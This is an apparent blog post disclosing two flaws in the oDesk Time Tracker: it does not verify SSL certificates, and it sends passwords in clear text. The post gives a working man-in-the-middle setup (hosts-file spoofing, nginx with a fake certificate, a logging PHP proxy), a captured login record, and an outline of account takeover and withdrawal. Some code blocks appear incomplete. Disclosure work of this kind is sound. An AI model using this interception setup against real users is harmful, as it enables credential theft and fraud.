oDesk Time Tracker Vulnerabilities

Опубликовано в: Безопасность

When SSL is not enough

  1. oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).

    To imitate the DNS spoofing we will need to edit /etc/hosts file:

    View Code Text team.odesk.com

    And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

    View Code nginx configuration
    server {
        listen 80;
        server_name team.odesk.com;

        access_log  /var/log/nginx/team.odesk.com-access.log;
        error_log  /var/log/nginx/team.odesk.com-error.log;

        root /var/www/team.odesk.com;

        try_files junk @proxy;

        location @proxy {
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
            include /etc/nginx/fastcgi_params;

    server {
        listen 443;
        keepalive_timeout 70;

        server_name  default;
        access_log  /var/log/nginx/secure-team.odesk.com-access.log;
        error_log  /var/log/nginx/secure-team.odesk.com-error.log;

        ssl on;
        ssl_certificate /etc/nginx/certs/fake-cert.crt;
        ssl_certificate_key /etc/nginx/certs/fake-cert.key;
        ssl_session_timeout 5m;

        ssl_protocols SSLv3 TLSv1;
        ssl_ciphers HIGH:MEDIUM;
        ssl_prefer_server_ciphers on;
        ssl_session_cache shared:SSL:10m;

        root /var/www/team.odesk.com;

        try_files junk @proxy;

        location @proxy {
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
            include /etc/nginx/fastcgi_params;

    Nice PHP proxy that logs all communication between the client and server:

    Download index.php
        if (false == empty($_POST)) {
            $ch = curl_init('' . $_SERVER['REQUEST_URI']);

            $data = $_POST;
            if (false == empty($_FILES)) {
                foreach ($_FILES as $key => $item) {
                    $data[$key] = '@' . $item['tmp_name'];

            $f = fopen(dirname(__FILE__) . '/log.txt', "a");
            fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
            fwrite($f, "<<<\n");
            fwrite($f, print_r($data, 1));
            fwrite($f, ">>>\n");

            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

            $s = curl_exec($ch);
            fwrite($f, $s);
            fwrite($f, "---\n\n\n");
            print $s;
        else {
            print "status=S_OK\n";
            print "Fraude perit virtus";

    Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

    View Code Text
        [version] => Linux/1.3.4
        [status] => C_NORMAL
        [company] => ics2:ics2
        [user] => vkolesnikov
        [password] => password_goes_here
        [uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
        [computer] => SJINKS
        [os] => Linux Ubuntu 9.04 (2.6.28-13-server)
        [snapint] => 600
        [trigger] => login
        [keyev] => 1
        [mousev] => 1
        [events_per_minute] => 1245070126,1,1
        [activewintitle] => client : mc
        [screensaveron] => false
        [memo] =>.
        [task_id] =>.
        [task_description] =>.
        [screenshot_width] => 1680
        [screenshot_height] => 1050
        [timestamp] => 1245070127
        [screen] => @/tmp/phpqzwmeh

    And here comes the second vulnerability.
  2. Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

Добавить в закладки

Связанные записи


Комментарии к статье «oDesk Time Tracker Vulnerabilities»  »

К статье «oDesk Time Tracker Vulnerabilities» комментариев пока нет. Не хотите ли стать первым?

Подписаться на RSS-ленту комментариев к статье «oDesk Time Tracker Vulnerabilities» Trackback URL: http://blog.sjinks.org.ua/security/581-odesk-time-tracker-vulnerabilities/trackback/

Оставить комментарий к записи «oDesk Time Tracker Vulnerabilities»

Вы можете использовать данные тэги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Оставляя комментарий, Вы выражаете своё согласие с Правилами комментирования.

Подписаться, не комментируя